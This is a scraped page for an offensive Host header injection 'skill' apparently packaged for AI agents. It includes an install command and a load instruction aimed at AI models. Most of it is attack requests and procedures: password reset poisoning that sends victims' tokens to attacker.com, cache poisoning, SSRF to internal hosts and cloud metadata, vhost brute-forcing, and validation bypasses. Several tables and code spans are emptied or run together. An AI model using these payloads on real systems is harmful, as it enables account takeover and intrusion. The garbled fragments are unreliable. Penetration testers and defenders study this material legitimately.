Loading...
Loading...
HTTP Host header injection and routing abuse playbook. Use when the application trusts the Host header for generating URLs, routing requests, or access control — enabling password reset poisoning, web cache poisoning, SSRF via routing, and virtual host bypass.
npx skill4agent add yaklang/hack-skills http-host-header-attacksAI LOAD INSTRUCTION: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
| Usage | Exploitation |
|---|---|
| URL generation (password reset links, email links) | Inject attacker domain → user clicks link to attacker |
| Virtual host routing | Spoof Host → access internal/admin vhost |
| Cache key component | Inject different Host → poison cache for all users |
| Reverse proxy routing | Host determines backend → SSRF to internal services |
| Access control decisions | Host-based ACLs can be bypassed |
| Canonical URL / SEO redirects | Host injection → open redirect |
1. Attacker requests password reset for victim@target.com
2. Attacker modifies Host header in the reset request:
POST /forgot-password HTTP/1.1
Host: attacker.com ← injected
email=victim@target.com
3. Server generates reset link using Host header value:
"Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset passwordPOST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
email=victim@target.comHost: target.com.attacker.comhttps://target.com.attacker.com/reset?token=xxxHost: target.com:@attacker.comattacker.com1. Attacker sends:
GET / HTTP/1.1
Host: attacker.com
2. If cache keys on URL path but NOT on Host header:
→ Response cached with attacker.com in generated links/content
3. Subsequent users requesting GET / receive the poisoned response
→ Links point to attacker.com, scripts load from attacker.comGET /api/internal HTTP/1.1
Host: internal-admin-panel.local
→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal serviceproxy_pass$hostProxyPassTarget: Host: www.target.com → public site
Hidden: Host: admin.target.com → admin panel (not in public DNS)
Hidden: Host: staging.target.com → staging environment
Hidden: Host: localhost → server status page1. Brute-force Host header with common vhost names:
ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
2. Try special values:
Host: localhost
Host: 127.0.0.1
Host: admin
Host: internal
Host: intranet
3. Compare response size/content to identify different vhosts| Header | Frameworks That Trust It |
|---|---|
| Symfony, Laravel, Django (when |
| Some custom proxy configurations |
| IIS with URL Rewrite module |
| IIS with URL Rewrite module |
| RFC 7239 compliant proxies |
| Apache mod_proxy |
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.comGET http:/path HTTP/1.1
Host: target.comGET /path HTTP/1.1
Host: target.com
Host: attacker.comtarget.com, attacker.comHost: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%23@target.com@#Host: target.com.target.com.target.comtarget.com. ≠ target.comHost: target.com\tattacker.com
Host: target.com attacker.comattacker.comtarget.comHost: "attacker.com"
Host: <attacker.com>| Framework | Host Source | Gotcha |
|---|---|---|
| PHP | | |
| Django | | |
| Rails | | Rails 6+ |
| Node/Express | | No built-in host validation |
Connection 1:
Request 1: GET / HTTP/1.1 ← Valid Host: target.com
Host: target.com → Proxy validates, forwards, keeps connection open
Request 2: GET /admin HTTP/1.1 ← Evil Host on SAME connection
Host: evil.com → Some proxies skip validation on subsequent requests
(they validated the connection on first request)1. Use Burp Repeater with "Connection: keep-alive"
2. Send normal request first
3. On same connection, send request with manipulated Host
4. Check if second request is processed differentlyApplication uses Host header in responses/behavior?
│
├── Test direct Host injection
│ ├── Change Host to attacker domain → reflected in response?
│ │ ├── YES → Check impact:
│ │ │ ├── In password reset emails? → PASSWORD RESET POISONING
│ │ │ ├── In cached responses? → WEB CACHE POISONING
│ │ │ ├── In redirects? → OPEN REDIRECT
│ │ │ └── In script/link URLs? → XSS VIA HOST
│ │ └── NO (400/403/different response) → Host is validated
│ │
│ └── Host validated? Try bypasses:
│ ├── X-Forwarded-Host header
│ ├── X-Host / X-Original-URL / Forwarded header
│ ├── Absolute URL in request line
│ ├── Double Host header
│ ├── Host: target.com:@attacker.com (URL parser confusion)
│ ├── Host: target.com. (trailing dot)
│ ├── Tab/space injection in Host value
│ └── Connection-state attack (valid first request, evil second)
│
├── Test virtual host enumeration
│ ├── Brute-force Host values against target IP
│ ├── Try: localhost, admin, staging, internal, intranet
│ └── Compare response sizes for different Host values
│
├── Test SSRF via Host routing
│ ├── Host: 127.0.0.1 → internal service?
│ ├── Host: internal-hostname.local → internal routing?
│ └── Host: 169.254.169.254 → cloud metadata?
│
└── No Host-based behavior found
└── Check if app uses Host in server-side operations
(email generation, webhook URLs, API callbacks)HostX-Forwarded-HostGET http://evil.com/path HTTP/1.1\nHost: target.comX-Forwarded-Host